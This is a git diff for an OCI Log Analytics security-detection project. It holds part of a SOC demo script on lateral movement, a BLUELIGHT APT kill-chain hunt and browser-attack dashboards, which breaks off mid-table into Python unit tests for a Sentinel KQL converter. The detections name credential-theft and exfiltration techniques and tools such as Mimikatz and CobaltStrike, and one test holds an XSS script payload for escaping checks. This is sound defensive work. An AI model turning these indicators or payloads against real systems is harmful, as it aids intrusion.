Process Hollowing detections + - "These cover advanced adversary techniques used in real breaches." + +5. **Show** `SOC: Sysmon Network and Lateral Movement Dashboard` + - C2 beacon detection (periodic outbound HTTPS) + - SMB/WinRM lateral movement + - DNS tunneling indicators + - Named pipe activity (CobaltStrike, PsExec, Mimikatz) + +**Key Message:** "Full MITRE ATT&CK coverage from initial access through lateral movement and exfiltration — 249 Windows source rules covering LOLBins, credential theft, persistence, defense evasion, and more." + +--- + +## Demo Scenario 3: APT Threat Hunting — BLUELIGHT RAT (15 min) + +**Objective:** Demonstrate APT-specific detection with kill chain correlation and cross-reference to Splunk/KQL queries. + +### Background (30 seconds) + +> "BLUELIGHT is a Remote Access Trojan attributed to APT37 (InkySquid), a North Korean threat actor. It exploits browser vulnerabilities (CVE-2020-1380, CVE-2021-26411) for initial access and uses Microsoft Graph API and OneDrive for command-and-control and data exfiltration. We've replicated the threat hunting report from markBH1510's research and converted every Splunk detection query into OCI Log Analytics." + +### Steps + +1. **Open:** `SOC: APT Detection Dashboard` + - This is a dedicated BLUELIGHT kill chain dashboard with 22 widgets: 5 showcase/correlation widgets plus 17 per-stage detections + +2. **Walk the kill chain** (top to bottom): + + | Stage | Dashboard Widget | What to Show | + |-------|-----------------|--------------| + | **Initial Access** | APT37: Drive-by Compromise | IE connecting to non-Microsoft domains | + | **Execution** | APT37: Browser Child Process | iexplore.exe spawning cmd.exe/powershell.exe | + | **Defense Evasion** | APT37: Obfuscated Commandline | XOR key 0xCF, Base64, encoded commands | + | **C2** | APT37: Graph API C2 | Non-standard processes connecting to graph.microsoft.com | + | **Discovery** | APT37: WMI System Discovery | Win32_ComputerSystem enumeration from browser | + | **Discovery** | APT37: Registry Enumeration | SecurityCenter2, AV product key queries | + | **Collection** | APT37: Screen Capture | Rapid .jpg creation (>3/minute) | + | **Credential Access** | APT37: Browser Credential Theft | PROCESS_ALL_ACCESS to browser memory | + | **C2** | APT37: Ingress Tool Transfer | Executables dropped in Temp/AppData | + | **Exfiltration** | APT37: OneDrive Exfiltration | Large uploads to graph.microsoft.com | + +3. **Show the hunting correlation** — `Hunt: BLUELIGHT Kill Chain`: + ``` + | stats count as TotalEvents, distinctcount('Event ID') as StageCount + by 'Host Name (Server)' + | where StageCount >= 3 + | sort -TotalEvents + ``` + - "This query correlates multiple kill chain stages on the same host. If a host shows 3 or more BLUELIGHT stages within the time window, it's flagged as a potential compromise." + +4. **Click into any rule** → Show the JSON query file: + - `splunk_original` — the original Splunk SPL query + - `query` — the converted and validated OCL query + - `threat_intel` — malware family, MITRE software ID, threat actor, CVEs + - `mitre_attack` — tactic and technique mapping + +5. **Show the Sigma YAML** source rule (optional): + - Navigate to `rules/windows/apt/bluelight_graph_api_c2.yaml` + - "Every detection starts as a portable Sigma rule. Our converter handles field mapping, log source resolution, and OCL syntax generation automatically." + +**Key Message:** "We took a real APT threat hunting report, converted the BLUELIGHT detection set into OCI Log Analytics, added YARA-backed confirmation logic and kill chain correlation, and deployed it as a production-ready dashboard — complete with Sigma YAML, SPL cross-reference, and threat intelligence metadata." + +--- + +## Demo Scenario 4: Browser Attack Detection via `SOC Application Logs` (10 min) + +**Objective:** Show client-side attack detection using the `SOC Application Logs` telemetry surface — a capability that WAF alone cannot provide. + +### Steps + +1. **Open:** `SOC: Browser Attack Detection Dashboard` + +2. **Explain the architecture:** + > "Traditional SIEMs only see server-side logs. In this demo, browser and application telemetry is normalized into `SOC Application Logs`, a custom OCI Log Analytics source with OpenTelemetry-shaped fields. That lets us detect client-side attacks that WAF can't see — DOM-based XSS, session hijacking, crypto mining scripts, and browser fingerprinting." + +3. **Walk through detections:** + + | Widget | Attack Type | What it Detects | + |--------|-------------|-----------------| + | Browser: XSS Attack | Cross-Site Scripting | `", + "source_path": "Rules/example.yaml", + "live_validation_status": "failed", + "live_validation_error": "{'opc-request-id': 'ABC/DEF', 'message': 'Invalid '}", + }], + } + + html_text = render_report_html( + report, + sentinel_counts={ + "files": 7, + "categories": {"endpoint": 5, "identity": 2}, + "levels": {"high": 1, "medium": 6}, + "live_status": {"passed": 7}, + }, + dashboard_counts={"SOC: Microsoft Sentinel Endpoint Converted Detections": 24}, + generated_at=datetime(2026, 5, 13, tzinfo=timezone.utc), + ) + + self.assertIn("Sentinel to Logan QL Conversion", html_text) + self.assertIn("<script>alert(1)</script>", html_text) + self.assertIn("Invalid <field>", html_text) + self.assertIn("status= code= message=Invalid", html_text) + self.assertNotIn("opc-request-id", html_text) + self.assertNotIn("ABC/DEF", html_text) + self.assertIn("SOC: Microsoft Sentinel Endpoint Converted Detections", html_text) + self.assertIn("promote --top all --timeout 20", html_text) + self.assertIn("sentinel_conversion_workflow.py triage", html_text) + self.assertIn("next-queries --limit 10", html_text) + self.assertIn("status --json --strict", html_text) + + def test_write_report_html_creates_static_page(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = Path(tmpdir) + report_path = root / "report.json" + output_path = root / "sentinel_converter.html" + sentinel_dir = root / "sentinel" + sentinel_dir.mkdir() + report_path.write_text(json.dumps({ + "source": {}, + "summary": { + "total_candidates": 1, + "attempted_candidates": 1, + "promoted_count": 1, + "live_validation_passed": 1, + "live_validation_failed": 0, + }, + "unsupported_features": {}, + "attempted": [], + }), encoding="utf-8") + (sentinel_dir / "one.json").write_text(json.dumps({ + "sentinel_category": "network", + "level": "low", + "live_validation_status": "passed", + }), encoding="utf-8") + + written = write_report_html( + report_path=report_path, + output_path=output_path, + sentinel_dir=sentinel_dir, + dashboard_inventory=root / "missing_inventory.json", + ) + + self.assertEqual(written, output_path) + self.assertIn("Promoted files", output_path.read_text(encoding="utf-8")) + + def test_build_triage_summarizes_skips_and_live_failures(self): + with tempfile.TemporaryDirectory() as tmpdir: + report_path = Path(tmpdir) / "report.json" + report_path.write_text(json.dumps({ + "summary": { + "attempted_candidates": 4, + "promoted_count": 1, + "skipped_count": 3, + "live_validation_failed": 1, + }, + "unsupported_features": { + "unsupported KQL operator: join": 2, + "unsupported Sentinel table: ExampleTable": 1, + }, + "attempted": [ + { + "title": "Skipped field", + "skip_reasons": ["unsupported Sentinel field mapping: FieldA"], + "local_validation_errors": [], + "live_validation_status": "not_run", + "live_validation_error": "", + }, + { + "title": "Skipped table", + "skip_reasons": ["unsupported Sentinel table: ExampleTable"], + "local_validation_errors": ["unsupported OCI field reference: FieldB"], + "live_validation_status": "not_run", + "live_validation_error": "", + }, + { + "title": "Live failed", + "source_path": "Rules/live.yaml", + "skip_reasons": ["live OCI validation failed"], + "local_validation_errors": [], + "live_validation_status": "failed", + "live_validation_error": "{'opc-request-id': 'ABC/DEF', 'message': 'Invalid '}", + }, + ], + }), encoding="utf-8") + + triage = build_triage(report_path=report_path, limit=2) + + self.assertEqual(triage["top_skip_reasons"][0]["count"], 1) + self.assertEqual(triage["top_local_validation_errors"][0]["reason"], "unsupported OCI field reference: FieldB") + self.assertEqual(triage["top_unsupported_features"][0]["reason"], "unsupported KQL operator: join") + self.assertEqual(triage["live_failure_examples"][0]["title"], "Live failed") + self.assertIn("Invalid ", triage["live_failure_examples"][0]["error"]) + self.assertNotIn("opc-request-id", triage["live_failure_examples"][0]["error"]) + self.assertTrue(any("unsupported field-mapping" in action for action in triage["next_actions"])) + self.assertTrue(any("unsupported table" in action for action in triage["next_actions"])) + + def test_triage_json_command_outputs_machine_readable_summary(self): + with tempfile.TemporaryDirectory() as tmpdir: + report_path = Path(tmpdir) / "report.json" + report_path.write_text(json.dumps({ + "summary": { + "attempted_candidates": 1, + "promoted_count": 0, + "skipped_count": 1, + "live_validation_failed": 0, + }, + "unsupported_features": {}, + "attempted": [{ + "title": "Skipped", + "skip_reasons": ["unsupported KQL operator: join"], + "local_validation_errors": [], + "live_validation_status": "not_run", + "live_validation_error": "", + }], + }), encoding="utf-8") + + output = StringIO() + with redirect_stdout(output): + exit_code = main([ + "triage", + "--report", str(report_path), + "--json", + "--limit", "1", + ]) + + self.assertEqual(exit_code, 0) + payload = json.loads(output.getvalue()) + self.assertEqual(payload["summary"]["attempted_candidates"], 1) + self.assertEqual(payload["top_skip_reasons"][0]["reason"], "unsupported KQL operator: join") + + def test_build_next_query_backlog_prioritizes_actionable_candidates(self): + with tempfile.TemporaryDirectory() as tmpdir: + report_path = Path(tmpdir) / "report.json" + report_path.write_text(json.dumps({ + "summary": { + "attempted_candidates": 5, + "promoted_count": 1, + "skipped_count": 4, + "live_validation_failed": 1, + }, + "attempted": [ + { + "title": "Promoted", + "sentinel_id": "promoted", + "quality_score": 999, + "conversion_status": "promoted", + "skip_reasons": [], + "local_validation_errors": [], + "live_validation_status": "passed", + "live_validation_error": "", + }, + { + "title": "Field Mapping", + "sentinel_id": "field", + "quality_score": 200, + "source_path": "Rules/field.yaml", + "source_url": "https://example.invalid/field", + "conversion_status": "skipped", + "skip_reasons": ["unsupported Sentinel field mapping: FieldA"], + "local_validation_errors": [], + "live_validation_status": "not_run", + "live_validation_error": "", + }, + { + "title": "Live Failed", + "sentinel_id": "live", + "quality_score": 10, + "source_path": "Rules/live.yaml", + "source_url": "https://example.invalid/live", + "conversion_status": "skipped", + "skip_reasons": ["live OCI validation failed"], + "local_validation_errors": [], + "live_validation_status": "failed", + "live_validation_error": "{'opc-request-id': 'ABC/DEF', 'message': 'Invalid '}", + }, + { + "title": "Live Environment", + "sentinel_id": "env", + "quality_score": 5, + "source_path": "Rules/env.yaml", + "source_url": "https://example.invalid/env", + "conversion_status": "skipped", + "skip_reasons": ["live OCI validation failed"], + "local_validation_errors": [], + "live_validation_status": "failed", + "live_validation_error": "{'status': 401, 'code': 'NotAuthenticated', 'message': 'clock skew'}", + }, + { + "title": "KQL Join", + "sentinel_id": "join", + "quality_score": 300, + "source_path": "Rules/join.yaml", + "source_url": "https://example.invalid/join", + "conversion_status": "skipped", + "skip_reasons": ["unsupported KQL operator: join"], + "local_validation_errors": [], + "live_validation_status": "not_run", + "live_validation_error": "", + }, + { + "title": "Local Error", + "sentinel_id": "local", + "quality_score": 50, + "source_path": "Rules/local.yaml", + "source_url": "https://example.invalid/local", + "conversion_status": "skipped", + "skip_reasons": [], + "local_validation_errors": ["unsupported OCI field reference: FieldB"], + "live_validation_status": "not_run", + "live_validation_error": "", + }, + ], + }), encoding="utf-8") + + backlog = build_next_query_backlog(report_path=report_path, limit=10) + + self.assertEqual(backlog["candidate_count"], 5) + self.assertEqual([item["work_type"] for item in backlog["candidates"]], [ + "live_environment", + "live_validation", + "local_validation", + "field_mapping", + "kql_support", + ]) + self.assertEqual(backlog["candidates"][0]["title"], "Live Environment") + self.assertEqual(backlog["candidates"][1]["title"], "Live Failed") + self.assertIn("Invalid ", backlog["candidates"][1]["reason"]) + self.assertNotIn("opc-request-id", backlog["candidates"][1]["reason"]) + + def test_build_next_query_backlog_supports_foundational_strategy(self): + with tempfile.TemporaryDirectory() as tmpdir: + report_path = Path(tmpdir) / "report.json" + attempted = [ + { + "title": "Live Environment", + "sentinel_id": "env", + "quality_score": 10, + "conversion_status": "skipped", + "skip_reasons": ["live OCI validation failed"], + "local_validation_errors": [], + "live_validation_status": "failed", + "live_validation_error": "{'status': 401, 'code': 'NotAuthenticated', 'message': 'clock skew'}", + }, + { + "title": "Live Validation", + "sentinel_id": "live", + "quality_score": 20, + "conversion_status": "skipped", + "skip_reasons": ["live OCI validation failed"], + "local_validation_errors": [], + "live_validation_status": "failed", + "live_validation_error": "{'message': 'Invalid query'}", + }, + { + "title": "Local Validation", + "sentinel_id": "local", + "quality_score": 30, + "conversion_status": "skipped", + "skip_reasons": [], + "local_validation_errors": ["unsupported OCI field reference: FieldB"], + "live_validation_status": "not_run", + "live_validation_error": "", + }, + { + "title": "Field Mapping", + "sentinel_id": "field", + "quality_score": 40, + "conversion_status": "skipped", + "skip_reasons": ["unsupported Sentinel field mapping: FieldA"], + "local_validation_errors": [], + "live_validation_status": "not_run", + "live_validation_error": "", + }, + { + "title": "Table Mapping", + "sentinel_id": "table", + "quality_score": 50, + "conversion_status": "skipped", + "skip_reasons": ["unsupported Sentinel table: ExampleTable"], + "local_validation_errors": [], + "live_validation_status": "not_run", + "live_validation_error": "", + }, + { + "title": "KQL Support", + "sentinel_id": "kql", + "quality_score": 60, + "conversion_status": "skipped", + "skip_reasons": ["unsupported KQL operator: join"], + "local_validation_errors": [], + "live_validation_status": "not_run", + "live_validation_error": "", + }, + { + "title": "Unsupported", + "sentinel_id": "unsupported", + "quality_score": 70, + "conversion_status": "skipped", + "skip_reasons": ["missing required product connector"], + "local_validation_errors": [], + "live_validation_status": "not_run", + "live_validation_error": "", + }, + ] + report_path.write_text(json.dumps({ + "summary": {"attempted_candidates": len(attempted)}, + "attempted": attempted, + }), encoding="utf-8") + + foundational = build_next_query_backlog( + report_path=report_path, + strategy="foundational", + limit=10, + ) + default = build_next_query_backlog( + report_path=report_path, + strategy="default", + limit=10, + ) + + self.assertEqual(foundational["strategy"], "foundational") + self.assertEqual([item["work_type"] for item in foundational["candidates"]], [ + "field_mapping", + "table_mapping", + "kql_support", + "local_validation", + "live_validation", + "live_environment", + "unsupported", + ]) + self.assertEqual(default["strategy"], "default") + self.assertEqual([item["work_type"] for item in default["candidates"]], [ + "live_environment", + "live_validation", + "local_validation", + "field_mapping", + "table_mapping", + "kql_support", + "unsupported", + ]) + + def test_next_query_backlog_includes_oci_gap_for_mapping_candidates(self): + with tempfile.TemporaryDirectory() as tmpdir: + report_path = Path(tmpdir) / "report.json" + report_path.write_text(json.dumps({ + "summary": {"attempted_candidates": 3}, + "attempted": [ + { + "title": "Field Mapping", + "sentinel_id": "field", + "quality_score": 100, + "conversion_status": "skipped", + "skip_reasons": ["unsupported Sentinel field mapping: AccountUPN"], + "local_validation_errors": [], + "live_validation_status": "not_run", + "live_validation_error": "", + }, + { + "title": "Table Mapping", + "sentinel_id": "table", + "quality_score": 90, + "conversion_status": "skipped", + "skip_reasons": ["unsupported Sentinel table: TheomAlerts_CL"], + "local_validation_errors": [], + "live_validation_status": "not_run", + "live_validation_error": "", + }, + { + "title": "KQL Support", + "sentinel_id": "kql", + "quality_score": 80, + "conversion_status": "skipped", + "skip_reasons": ["unsupported KQL operator: join"], + "local_validation_errors": [], + "live_validation_status": "not_run", + "live_validation_error": "", + }, + ], + }), encoding="utf-8") + + backlog = build_next_query_backlog( + report_path=report_path, + strategy="foundational", + limit=10, + ) + field_candidate = backlog["candidates"][0] + table_candidate = backlog["candidates"][1] + kql_candidate = backlog["candidates"][2] + + expected_steps = [ + "confirm OCI source", + "define parser or parser mapping", + "define fields and aliases", + "ingest representative sample logs", + "validate in CAP tenancy", + "update field dictionary", + "add allow-list mapping", + "add converter tests", + ] + self.assertEqual(field_candidate["oci_gap"], { + "gap_type": "field_mapping", + "blocked_on": "AccountUPN", + "oci_steps": expected_steps, + }) + self.assertEqual(table_candidate["oci_gap"], { + "gap_type": "table_mapping", + "blocked_on": "TheomAlerts_CL", + "oci_steps": expected_steps, + }) + self.assertNotIn("oci_gap", kql_candidate) + + def test_next_queries_json_command_filters_by_work_type(self): + with tempfile.TemporaryDirectory() as tmpdir: + report_path = Path(tmpdir) / "report.json" + report_path.write_text(json.dumps({ + "summary": {"attempted_candidates": 2}, + "attempted": [ + { + "title": "Field Mapping", + "sentinel_id": "field", + "quality_score": 100, + "conversion_status": "skipped", + "skip_reasons": ["unsupported Sentinel field mapping: FieldA"], + "local_validation_errors": [], + "live_validation_status": "not_run", + "live_validation_error": "", + }, + { + "title": "Table Mapping", + "sentinel_id": "table", + "quality_score": 200, + "conversion_status": "skipped", + "skip_reasons": ["unsupported Sentinel table: ExampleTable"], + "local_validation_errors": [], + "live_validation_status": "not_run", + "live_validation_error": "", + }, + ], + }), encoding="utf-8") + + output = StringIO() + with redirect_stdout(output): + exit_code = main([ + "next-queries", + "--report", str(report_path), + "--json", + "--work-type", "table_mapping", + "--strategy", "foundational", + "--limit", "5", + ]) + + self.assertEqual(exit_code, 0) + payload = json.loads(output.getvalue()) + self.assertEqual(payload["work_type"], "table_mapping") + self.assertEqual(payload["strategy"], "foundational") + self.assertEqual(payload["candidate_count"], 1) + self.assertEqual(payload["candidates"][0]["title"], "Table Mapping") + + def test_status_strict_returns_nonzero_for_attention(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = Path(tmpdir) + report_path = root / "report.json" + sentinel_dir = root / "sentinel" + inventory_path = root / "dashboard_inventory.json" + sentinel_dir.mkdir() + report_path.write_text(json.dumps({ + "summary": { + "promoted_count": 2, + "live_validation_passed": 2, + "live_validation_failed": 0, + } + }), encoding="utf-8") + (sentinel_dir / "one.json").write_text(json.dumps({ + "sentinel_category": "identity", + "level": "medium", + "live_validation_status": "passed", + }), encoding="utf-8") + inventory_path.write_text(json.dumps({"dashboards": []}), encoding="utf-8") + + with redirect_stdout(StringIO()): + exit_code = main([ + "status", + "--report", str(report_path), + "--sentinel-dir", str(sentinel_dir), + "--dashboard-inventory", str(inventory_path), + "--strict", + ]) + + self.assertEqual(exit_code, 1) + + def test_status_strict_returns_zero_for_ok(self): + with tempfile.TemporaryDirectory() as tmpdir: + root = Path(tmpdir) + report_path = root / "report.json" + sentinel_dir = root / "sentinel" + inventory_path = root / "dashboard_inventory.json" + sentinel_dir.mkdir() + report_path.write_text(json.dumps({ + "summary": { + "promoted_count": 1, + "live_validation_passed": 1, + "live_validation_failed": 0, + } + }), encoding="utf-8") + (sentinel_dir / "one.json").write_text(json.dumps({ + "sentinel_category": "identity", + "level": "medium", + "live_validation_status": "passed", + }), encoding="utf-8") + inventory_path.write_text(json.dumps({ + "dashboards": [{ + "name": "SOC: Microsoft Sentinel Identity Converted Detections", + "widget_count": 1, + }] + }), encoding="utf-8") + + with redirect_stdout(StringIO()): + exit_code = main([ + "status", + "--report", str(report_path), + "--sentinel-dir", str(sentinel_dir), + "--dashboard-inventory", str(inventory_path), + "--strict", + ]) + + self.assertEqual(exit_code, 0) + + +if __name__ == "__main__": + unittest.main() diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/test_sentinel_converter.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_sentinel_converter.py new file mode 100644 index 000000000..b5a046a7e --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_sentinel_converter.py @@ -0,0 +1,978 @@ +#!/usr/bin/env python3 +"""Tests for Microsoft Sentinel KQL intake and conversion.""" + +import json +import os +import sys +import tempfile +import unittest +from io import StringIO +from pathlib import Path + +import yaml + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from convert_sentinel_kql import ( # noqa: E402 + _write_query_payload, + classify_unsupported_kql, + convert_candidate, + convert_candidates, + convert_kql_to_logan, + load_mapping_config, + rank_candidates, + select_top_candidates, + validate_logan_query_local, +) +from deploy_dashboard import load_sentinel_dashboard_groups # noqa: E402 +from generate_catalog import generate_json_catalog, get_inventory_counts, load_query_surfaces # noqa: E402 +from query_artifacts import is_saved_search_query_file # noqa: E402 +from sync_sentinel_kql import normalize_sentinel_rule # noqa: E402 + + +class TestSentinelYamlNormalization(unittest.TestCase): + """Validate official Sentinel YAML metadata normalization.""" + + def test_normalize_analytics_rule_metadata(self): + payload = { + "id": "sentinel-rule-001", + "name": "Suspicious sign-in", + "description": "Detects suspicious Entra ID sign-ins.", + "severity": "High", + "requiredDataConnectors": [ + {"connectorId": "AzureActiveDirectory", "dataTypes": ["SigninLogs"]} + ], + "tactics": ["InitialAccess"], + "relevantTechniques": ["T1078"], + "query": "SigninLogs | where ResultType != 0", + } + + normalized = normalize_sentinel_rule( + Path("Detections/SigninLogs/suspicious_signin.yaml"), + payload, + repo_root=Path("."), + commit="abc123", + ) + + self.assertEqual(normalized["sentinel_id"], "sentinel-rule-001") + self.assertEqual(normalized["kind"], "analytics_rule") + self.assertEqual(normalized["severity"], "high") + self.assertEqual(normalized["required_data_connectors"][0]["connector_id"], "AzureActiveDirectory") + self.assertEqual(normalized["mitre_attack"]["techniques"], ["T1078"]) + self.assertTrue(normalized["source_url"].endswith("/abc123/Detections/SigninLogs/suspicious_signin.yaml")) + self.assertEqual(normalized["attribution"]["source"], "Microsoft Sentinel") + + def test_normalize_hunting_query_without_id_gets_stable_id(self): + payload = { + "name": "Rare process", + "description": "Finds rare endpoint process starts.", + "query": "DeviceProcessEvents | take 10", + } + + normalized = normalize_sentinel_rule( + Path("Hunting Queries/Windows/RareProcess.yaml"), + payload, + repo_root=Path("."), + commit="main", + ) + + self.assertEqual(normalized["kind"], "hunting_query") + self.assertTrue(normalized["sentinel_id"].startswith("sentinel-")) + + +class TestSentinelKqlConversion(unittest.TestCase): + """Validate deterministic KQL subset conversion.""" + + def setUp(self): + self.mapping = load_mapping_config() + + def _candidate(self, **overrides): + candidate = { + "sentinel_id": "rule-001", + "title": "Failed sign-in burst", + "description": "Detects failed sign-ins with repeated source IPs.", + "severity": "high", + "query": ( + "SigninLogs\n" + "| where TimeGenerated > ago(1d)\n" + "| where Result != \"Success\" and UserPrincipalName has \"admin\" " + "and IPAddress in (\"10.0.0.1\", \"10.0.0.2\")\n" + "| summarize Failures=count(), Users=dcount(UserPrincipalName) " + "by UserPrincipalName, IPAddress\n" + "| sort by Failures desc\n" + "| take 10" + ), + "required_data_connectors": [ + {"connector_id": "AzureActiveDirectory", "data_types": ["SigninLogs"]} + ], + "mitre_attack": {"tactics": ["initial_access"], "techniques": ["T1078"]}, + "source_path": "Detections/SigninLogs/failed_signins.yaml", + "source_url": "https://github.com/Azure/Azure-Sentinel/blob/main/Detections/SigninLogs/failed_signins.yaml", + "attribution": {"source": "Microsoft Sentinel"}, + "kind": "analytics_rule", + } + return {**candidate, **overrides} + + def test_rank_candidates_quality_first(self): + candidates = [ + self._candidate(sentinel_id="low", severity="low", mitre_attack={"tactics": [], "techniques": []}), + self._candidate(sentinel_id="high", severity="high"), + self._candidate(sentinel_id="join", query="SigninLogs | join AuditLogs on UserPrincipalName"), + ] + + ranked = rank_candidates(candidates, self.mapping) + top = select_top_candidates(candidates, self.mapping, top=2) + + self.assertEqual(ranked[0]["sentinel_id"], "high") + self.assertEqual([candidate["sentinel_id"] for candidate in top], ["high", "low"]) + + def test_convert_candidates_emits_periodic_status_and_quality_progress(self): + with tempfile.TemporaryDirectory() as tmpdir: + progress = StringIO() + report = convert_candidates( + candidates=[ + self._candidate(sentinel_id="convertible"), + self._candidate( + sentinel_id="unsupported", + query="UnknownCustomTable_CL | where Field == 'x'", + ), + ], + mapping=self.mapping, + top=2, + validate_live=False, + write_working=False, + output_dir=Path(tmpdir) / "sentinel", + report_path=Path(tmpdir) / "report.json", + progress_interval=0, + progress_every=1, + progress_stream=progress, + ) + + progress_text = progress.getvalue() + self.assertEqual(report["summary"]["attempted_candidates"], 2) + self.assertIn("[sentinel-convert] start total_candidates=2 attempted=2", progress_text) + self.assertIn("score=", progress_text) + self.assertIn('title="Failed sign-in burst"', progress_text) + self.assertIn("status=converted", progress_text) + self.assertIn("status=skipped", progress_text) + self.assertIn("unsupported Sentinel table: UnknownCustomTable_CL", progress_text) + self.assertIn("[sentinel-convert] complete attempted=2", progress_text) + + def test_convert_supported_predicates_aggregations_sort_and_limits(self): + result = convert_candidate(self._candidate(), self.mapping) + + self.assertTrue(result.promoted_candidate) + self.assertEqual(result.skip_reasons, []) + query = result.query_payload["query"] + self.assertIn("'Log Source' = 'Azure Entra ID Sign-in Logs'", query) + self.assertNotIn("TimeGenerated", query) + self.assertNotIn("ago(", query) + self.assertIn("Status != 'Success'", query) + self.assertIn("'User Name' like '*admin*'", query) + self.assertIn("'Source IP' in ('10.0.0.1', '10.0.0.2')", query) + self.assertIn("| stats count as Failures, distinctcount('User Name') as Users by 'User Name', 'Source IP'", query) + self.assertIn("| sort -Failures", query) + self.assertIn("| head 10", query) + self.assertEqual(validate_logan_query_local(query), []) + + def test_search_in_operator_maps_tables_and_terms(self): + query, source_info, errors = convert_kql_to_logan( + 'search in (Perf, Event, Alert) "Contoso" | take 10', + self.mapping, + ) + + self.assertEqual(errors, []) + self.assertEqual(source_info["tables"], ["Perf", "Event", "Alert"]) + self.assertIn("'Log Source' = 'SOC Application Logs'", query) + self.assertIn("'Log Source' = 'Windows Event System Logs'", query) + self.assertIn("'Original Log Content' like '*Contoso*'", query) + self.assertIn("msg like '*Contoso*'", query) + self.assertIn("| head 10", query) + self.assertEqual(validate_logan_query_local(query), []) + + def test_search_stage_after_table_supports_field_predicates(self): + query, source_info, errors = convert_kql_to_logan( + 'Perf | search CounterName == "% Processor Time" | summarize AvgCpu=avg(CounterValue) by Computer', + self.mapping, + ) + + self.assertEqual(errors, []) + self.assertEqual(source_info["tables"], ["Perf"]) + self.assertIn("'Metric Name' = '% Processor Time'", query) + self.assertIn("avg('Metric Value') as AvgCpu by Entity", query) + self.assertEqual(validate_logan_query_local(query), []) + + def test_count_stage_maps_to_stats_count(self): + query, _source_info, errors = convert_kql_to_logan( + "SecurityEvent | where EventID == 4624 | count", + self.mapping, + ) + + self.assertEqual(errors, []) + self.assertIn("'Event ID' = '4624'", query) + self.assertIn("| stats count as Count", query) + self.assertEqual(validate_logan_query_local(query), []) + + def test_between_predicates_and_time_ranges_convert_safely(self): + query, _source_info, errors = convert_kql_to_logan( + "Perf | where TimeGenerated between (ago(1h) .. now()) " + "and CounterValue between (80 .. 100) | count", + self.mapping, + ) + + self.assertEqual(errors, []) + self.assertNotIn("TimeGenerated", query) + self.assertNotIn("ago(", query) + self.assertIn("'Metric Value' >= '80'", query) + self.assertIn("'Metric Value' <= '100'", query) + self.assertIn("| stats count as Count", query) + self.assertEqual(validate_logan_query_local(query), []) + + def test_project_aliases_and_case_scalar_convert(self): + query, _source_info, errors = convert_kql_to_logan( + ( + "SecurityEvent\n" + "| extend Outcome = case(EventID == 4625, 'failed', EventID == 4624, 'success', 'other')\n" + "| project Actor = SubjectUserName, Outcome" + ), + self.mapping, + ) + + self.assertEqual(errors, []) + self.assertIn("eval Outcome = if('Event ID' = '4625', 'failed', if('Event ID' = '4624', 'success', 'other'))", query) + self.assertIn("eval Actor = 'Subject User Name'", query) + self.assertIn("| fields Actor, Outcome", query) + self.assertEqual(validate_logan_query_local(query), []) + + def test_summarize_by_without_aggregate_maps_to_distinct_count(self): + query, _source_info, errors = convert_kql_to_logan( + "SecurityEvent | summarize by Computer, EventID | sort by Count", + self.mapping, + ) + + self.assertEqual(errors, []) + self.assertIn("| stats count as Count by Entity, 'Event ID'", query) + self.assertIn("| sort -Count", query) + self.assertEqual(validate_logan_query_local(query), []) + + def test_filter_stage_converts_as_where_alias(self): + result = convert_candidate(self._candidate( + query=( + "SigninLogs\n" + "| filter Result != \"Success\" and UserPrincipalName has \"admin\"" + ) + ), self.mapping) + + self.assertEqual(result.skip_reasons, []) + self.assertEqual(result.local_validation_errors, []) + query = result.query_payload["query"] + self.assertIn("Status != 'Success'", query) + self.assertIn("'User Name' like '*admin*'", query) + self.assertNotRegex(query, r"\bfilter\b") + + def test_role_mismatched_field_comparison_is_skipped(self): + result = convert_candidate(self._candidate( + query="SecurityEvent | where SubjectUserName == TargetUserName", + ), self.mapping) + + self.assertIsNone(result.query_payload) + self.assertIn("role_mismatch:SubjectUserName:TargetUserName", result.skip_reasons) + + def test_parser_pending_mapping_is_skipped(self): + result = convert_candidate(self._candidate( + query="SecurityEvent | where ObjectDN has 'CN=Admin'", + ), self.mapping) + + self.assertIsNone(result.query_payload) + self.assertIn("parser_readiness:pending:ObjectDN", result.skip_reasons) + + def test_convert_project_distinct_and_simple_union(self): + candidate = self._candidate( + query=( + "union isfuzzy=true SigninLogs, AuditLogs\n" + "| where OperationName startswith \"Add\" or Result has \"failure\" " + "and IPAddress not in (\"127.0.0.1\")\n" + "| distinct UserPrincipalName, IPAddress\n" + "| project UserPrincipalName, IPAddress" + ) + ) + + result = convert_candidate(candidate, self.mapping) + + self.assertEqual(result.skip_reasons, []) + query = result.query_payload["query"] + self.assertIn("'Azure Entra ID Sign-in Logs'", query) + self.assertIn("'Azure Entra ID Audit Logs'", query) + self.assertIn("Operation like 'Add*'", query) + self.assertIn("Status like '*failure*'", query) + self.assertIn("'Source IP' not in ('127.0.0.1')", query) + self.assertIn("| stats count as Count by 'User Name', 'Source IP'", query) + self.assertIn("| fields 'User Name', 'Source IP'", query) + + def test_collection_string_operators_are_converted(self): + result = convert_candidate(self._candidate( + query=( + "DeviceProcessEvents\n" + "| where InitiatingProcessCommandLine has_any(\"kr.bin\", \"if.bin\")\n" + "| where ProcessCommandLine has_all(\"echo\", \"tmp+\")\n" + "| where FileName hasprefix \"cmd\" and FolderPath hassuffix \"payload.exe\" and FileName !~ \"bad.exe\"" + ) + ), self.mapping) + + self.assertEqual(result.skip_reasons, []) + self.assertEqual(result.local_validation_errors, []) + query = result.query_payload["query"] + self.assertNotRegex(query, r"\b(has_any|has_all|hasprefix|!~)\b") + self.assertIn("('Command Line' like '*kr.bin*' or 'Command Line' like '*if.bin*')", query) + self.assertIn("('Command Line' like '*echo*' and 'Command Line' like '*tmp+*')", query) + self.assertIn("'Process Name' like 'cmd*'", query) + self.assertIn("'Target Filename' like '*payload.exe'", query) + self.assertIn("'Process Name' != 'bad.exe'", query) + + def test_simple_let_scalars_and_arrays_are_substituted(self): + result = convert_candidate(self._candidate( + query=( + "let suspiciousProcesses = dynamic([\"cmd.exe\", \"powershell.exe\"]);\n" + "let threshold = 3;\n" + "DeviceProcessEvents\n" + "| where FileName has_any (suspiciousProcesses)\n" + "| summarize Hits=count() by DeviceName\n" + "| where Hits > threshold" + ) + ), self.mapping) + + self.assertEqual(result.skip_reasons, []) + self.assertEqual(result.local_validation_errors, []) + query = result.query_payload["query"] + self.assertNotIn("let ", query) + self.assertIn("('Process Name' like '*cmd.exe*' or 'Process Name' like '*powershell.exe*')", query) + 